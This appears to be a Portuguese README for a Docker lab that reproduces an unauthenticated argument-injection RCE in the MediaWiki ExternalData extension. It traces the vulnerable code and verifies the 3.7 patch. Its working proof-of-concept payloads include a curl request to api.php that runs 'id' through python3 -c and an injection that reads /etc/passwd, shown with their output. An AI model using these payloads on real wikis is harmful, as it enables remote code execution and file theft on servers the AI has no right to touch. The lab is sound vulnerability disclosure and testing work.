Laboratório Docker que reproduz o CVE-2026-100382: RCE por injeção de argumentos não autenticada no #get_program_data do MediaWiki ExternalData, com payloads PoC e verificação de patch.
1.43 (imagem oficial, SQLite) + ExternalData 3.6.1 (última vulnerável),
montado como somente leitura a partir de ../mediawiki-extensions-ExternalData.127.0.0.1:${HOST_PORT} (padrão 8080).action=parse estão habilitados (padrões do MediaWiki) - o PoC não precisa de login.cd lab
./up.sh # instala, carrega o ExternalData 3.6.1, semeia fontes vulneráveis, imprime a URL
./down.sh # docker compose down -v + apaga .env
O entrypoint.sh semeia uma fonte exec que espelha o propósito documentado de
#get_program_data - expor um programa do lado do servidor aos editores, passando um
parâmetro do usuário para a linha de comando - sem uma entrada restritiva de
param filters (a extensão não exige uma):
$wgExternalDataSources['chart'] = [
'command' => 'python3 $options$ /srv/chart.py', // parâmetro do usuário interpolado
'params' => [ 'options' ],
'format' => 'text',
];
Uso pretendido: {{#get_program_data: program=chart | options=--dpi=120 }}
-> executa python3 --dpi=120 /srv/chart.py.
EDConnectorBase::supplementParams() interpola parâmetros do usuário no template
command de todo o wiki via strtr (EDConnectorBase.php:461-470,560).EDConnectorExe::__construct() então faz explode(' ', $command)
(EDConnectorExe.php:92) - o valor interpolado do usuário é dividido por espaços em
tokens argv separados sem re-citação.run() executa Shell::command($command)->execute() (EDConnectorExe.php:139).
Shell::command() escapa cada token para o shell, então metacaracteres de shell (;, |)
são inertes - isto é injeção de argumentos (CWE-88 / CWE-78), não injeção de shell
ingênua. Controlar argv extra do programa alvo (aqui python3 -c)
resulta em execução completa de código.command diretamente - a fonte curinga embutida *
força command => null, o que remove um command fornecido pelo usuário. O
vetor é, portanto, a interpolação de parâmetros em um comando definido pelo administrador.$ payload: {{#get_program_data: program=greet | name=World; id | data=out=__text }}{{#external_value: out }}
Hello World; id
$ payload: {{#get_program_data: program=greet | name=a b c | data=out=__text }}{{#external_value: out }}
Hello a b c
$ curl -sS http://127.0.0.1:8080/api.php \
--data-urlencode action=parse --data-urlencode format=json \
--data-urlencode contentmodel=wikitext \
--data-urlencode "text={{#get_program_data: program=chart | options=-c __import__('os').system('id') | data=out=__text }}{{#external_value: out }}"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ options=-c print(open('/etc/passwd').read())
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Trocando a extensão montada para a tag 3.7 e executando novamente o MESMO payload:
The class EDConnectorExe is disabled: instead of giving access to a local program,
consider using web access to a containerised application ... To enable it, a wiki
administrator will have to remove this class from the $wgExternalDataDisabledClasses
configuration setting.
A 3.7 desabilita EDConnectorExe por padrão ($wgExternalDataDisabledClasses, Bug T434961).
Ressalva: o código do sink permanece inalterado - um wiki que remove o EDConnectorExe dessa lista
para continuar usando #get_program_data permanece totalmente explorável.